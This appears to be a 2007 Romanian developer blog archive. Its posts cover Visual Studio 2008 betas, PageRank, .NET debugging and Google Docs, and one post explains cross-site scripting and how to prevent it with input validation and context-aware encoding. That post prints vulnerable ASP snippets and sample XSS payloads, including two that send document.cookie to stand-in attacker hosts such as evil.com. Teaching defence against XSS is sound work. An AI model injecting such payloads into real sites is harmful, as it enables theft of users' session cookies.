miercuri, 31 octombrie 2007

Visual Studio 2008 Beta 2 VPC

Foarte important pentru cei care si-au downloadat masinile virtuale pentru a evalua Visual Studio 2008 Beta2 Team Suite si Visual Studio 2008 Beta 2 TFS: pe 1 noiembrie (adica AZI!) va expira sistemul de operare Windows Server 2003, iar dupa login veti primi un mesaj ca sistemul va face automat shutdown dupa 1 ora.

Au aparut insa noi versiuni ale masinilor virtuale pe care le puteti downloada:
- Visual Studio Team System 2008 Beta 2 Team Suite VPC
- Visual Studio Team System 2008 Beta 2 Team Suite & Team Foundation Server VPC

marți, 30 octombrie 2007

Vulnerabilitati de tip cross-site-scripting (XSS)

Intr-un blog anterior am prezentat foarte pe scurt un plugin nou aparut pentru Visual Studio, numit XSSDetect (momentan e in faza Beta), si care analizeaza codul identificand toate zonele care pot fi posibile surse pentru atacuri de tip XSS.

Ce inseamna insa XSS? Denumirea completa este Cross Site Scripting si reprezinta o vulnerabilitate particulara aplicatiilor web. Bazandu-se pe o astfel de vulnerabilitate, un utilizator (rau voitor:D) poate injecta cod javascript care se va executa cand "victimele" vor naviga pe acel site/pagina. O aplicatie web vulnerabila la atacuri XSS poate fi exploatata in doua moduri:

Stored XSS - se intalneste in aplicatii unde un utilizator introduce anumite informatii care vor fi vizualizate ulterior de catre altii. In acest tip de atac, utilizatorul care introduce informatiile poate injecta cod javascript care pe urma va rula in contextul utilizatorilor care vizualizeaza respectiva informatie.
Acest tip de vulnerabilitate se poate intalni in aplicatii de tip forum, guestbook, blog,

Reflected XSS - se intalneste in aplicatii unde parametrii primiti in URL (parametri de query string) sunt afisati in pagina fara a fi validati sau rescrisi corespunzator. Astfel un utilizator poate construi un URL care in final va injecta cod javascript in pagina, iar URL-ul va fi trimis "victimelor" prin email sau orice alta sursa de comunicare (comentarii la articole, forumuri etc).

Putem sa ne ferim de astfel de atacuri daca orice informatie citita de la utilizator este validata corespunzator (cel mai adesea folosind expresii regulate), iar orice informatie care este afisata in aplicatia noastra si care provine de la utilizatori (surse nesigure) este encodata.

Un exemplu de cod vulnerabil ar fi urmatorul:
<html>Hello, <%=Request.QueryString(“username”) %></html>

Un utilizator ar putea pasa ca parametru "username" in url urmatorul string:
<script>document.location = ”http://3rd_party_url/StealCookie.asp?Cookie=”+document.cookie;</script>

Asadar daca informatia care provine de la utilizatori este afisata intr-un document HTML, ea trebuie prelucrata diferit functie de contextul in care informatia este afisata in respectivul HTML.... mai exact:

- direct in body-ul html-ului;
Exemplu de cod vulnerabil - caracterele < si > nu sunt filtrate sau encodate:
<b>Your query '<script>evil_script()</script>' returned N results</b>

- ca valoare a unui atribut in general (de exemplu title, value);
Exemplu - ghilimelele nu sunt filtrate sau encodate:
<form ...
<input name="q" value="ABC"><script>evil_script()</script>">
</form>

- ca valoare a unui atribut ce primeste un Url/Uri (de exemplu src);
<img src="javascript:evil_script()">...</img>

- ca parametru de query string a unui Url;

- in codul JavaScript;
Exemplu - apostroafele nu sunt filtrate sau encodate:
<script>
var msg = 'ANC'; evil_script(); //';
</script>

- in headerele raspunsului HTTP.

Putem evita multe dureri de cap daca avem grija sa encodam informatia primita de la utilizator functie de contextul in care ea va fi afisata inapoi in pagina... astfel in HTML caracterele < > & " ' trebuie inlocuite cu &lt; &gt; &amp; &quot; respectiv &#39, iar in JavaScript in fata caracterelor \ ' " trebuie inserat un \ (backslash), iar CR (carriage returns), LF (line feeds) si tab-urile trebuie inlocuite cu \r, \n respectiv \t.

Pentru cei care cred ca Server.HtmlEncode elimina orice vulnerabilitate XSS, atentie ca aceasta functie nu encodeaza decat caracterele <, >, & " (cine nu ma crede, aruncati un ochi cu reflector-ul lui Lutz Roeder)... iar urmatorul cod va ramane vulnerabil chiar si dupa encoding:

<html>
<script language=”javascript”>
var myVar = <%=Server.HTMLEncode(Request.Querystring("myVar"))%>
</script>
</html>


Iar un utilizator ar putea pasa ca valoare a lui "abc" urmatorul string:
9; document.location='http://www.evil.com/StealCookie.asp?Cookie='+document.cookie

Happy securing your code!

vineri, 26 octombrie 2007

Google schimba algoritmul de calculare a PageRank-ului

Foarte recent am descoperit ca un site pe care-l administrez eu a suferit o schimbare brusca a PageRank-ului: a scazut instant de la 6 la 4.

Sunt mai multi factori care ar putea cauza o astfel de scadere a PR-ului, asa ca m-am pus pe treaba...
- primul test: m-a banat Google-ul pentru ca m-a prins trisand? Cu siguranta nu; altfel Google m-ar fi scos complet, nu doar ar fi scazut PR-ul.... si plus ca n-am trisat :D
- al doilea test: unul din site-urile catre care am link (outbound link) a fost penalizat. Asta da, ar putea fi o cauza... insa cum sa verific toate site-urile cu care am facut exchange link?

Si astfel cautand pe net dupa un astfel de tool, am descoperit de fapt ca cei de la Google au modificat algoritmul de calcul al PageRank-ului... oh, pheeew!

Puteti citi mai multe despre aceasta modificare a PR-ului aici, aici sau aici.

marți, 23 octombrie 2007

XSSDetect Beta

Sunteti dezvoltatori de aplicatii web? Atunci cu siguranta ati auzit de vulnerabilitati de tip Cross Site Scripting. Daca nu, atunci puteti citi despre XSS pe Wikipedia, sau articolul lui Dino Esposito din MSDN Magazine, sau pe blog-ul echipei ACE, sau pe MSDN:
- How To: Prevent Cross-Site Scripting in ASP.NET
- How To: Protect From Injection Attacks in ASP.NET
- How To: Use Regular Expressions to Constrain Input in ASP.NET

Revenind... Dar stiti cum sa va protejati codul de astfel de atacuri? Daca nu (sau chiar daca da, cu siguranta sunt cazuri care va/imi scapa), atunci puteti folosi un plugin pentru Visual Studio numit XSSDetect care analizeaza codul si identifica potentialele probleme care ar putea rezulta intr-un atac de tip XSS. Asadar nu mai asteptati si download-a-ti-l de-AICI.

vineri, 19 octombrie 2007

MIX UK 2007

In zilele de 11-12 Septembrie a avut loc in Londra MIX 2007... iar de azi sunt disponibile pentru download fimuletele de la toate sesiunile.

Cum sa dezvoltati aplicatii cu Silverlight, sa construiti interfete cu Expression Blend, sa dezvoltati aplicatii .NET 3.5 in Visual Studio 2008, ce inseamna RIA (Rich Interactive Applications), cum sa optimizati aplicatia dumneavoastra ca sa fiti usor gasit cu ajutorul motoarelor de cautare(SEO), toate sunt disponibile la download pe http://www.microsoft.com/uk/mix07/agenda.aspx. Enjoy!

joi, 4 octombrie 2007

Debugging mai avansat in Visual Studio 2008

Versiunea finala de Visual Studio 2008 (care probabil va deveni disponibila la sfarsitul acestui an, dar oficial va fi lansata pe 27 Februarie impreuna cu Windows Server 2008 si SQL Server 2008) va aduce o noutate in ceea ce priveste debugging-ul: va permite download-ul si incarcarea dinamica a simbolurilor de debug pentru aproape toate librariile din .NET. De altfel incepand cu .NET 3.5, Microsoft va face public codul sursa de la .NET Framework!

Si ce inseamna acest lucru pentru programatori? Inseamna ca in timpul debugging-ului vor putea folosi F11 (Step Into) pentru a intra si vedea cu exactitate ce se executa chiar si cand se apeleaza metode din librariile .NET Framework, iar aceasta va duce la o intelegere mai buna a claselor si metodelor care momentan le intelegem doar din MSDN (ca o paranteza, multi au folosit pana acuma reflectorul lui Roeder, deci lucrurile nu sunt 100% noi... ce va fi nou? vom avea totul integrat in Visual Studio, nu va trebui sa facem cautari prin librarii pentru ca se va ocupa debugger-ul de asta, vom vedea chiar si comentariile pe cod).

Sursa: Scott Guthrie.

marți, 2 octombrie 2007

Google Docs mai tare decat Office Live workspace?

La inceputul lunii Octombrie Microsoft a lansat Office Live Workspace, un tool online pentru salvarea, vizualizarea si partajarea documentelor Word, Excel si PowerPoint.

Insa ce-alegem? Google Docs sau Office Live?

Pro Google Docs:

  • Documentele nu pot fi create sau editate in Office Live, insa in Google Docs da.

    Mai mult Google Docs permite upload-ul mai multor tipuri de documente, fie ca sunt create cu Microsoft Word, fie Star Office... ce-i drept nu stie inca de formatele noi din Office 2007 (docx, pptx, xlsx).


Pro Office Live Workspace:

  • Google Docs impune o limita de aproximativ 500K / document, 10MB / prezentare si 1MB / spreadheet

    Office Live nu a declarat nici o limita a dimensiunii unui singur document, insa impune o limita de 250 MB la un numar mediu de 1000 documente.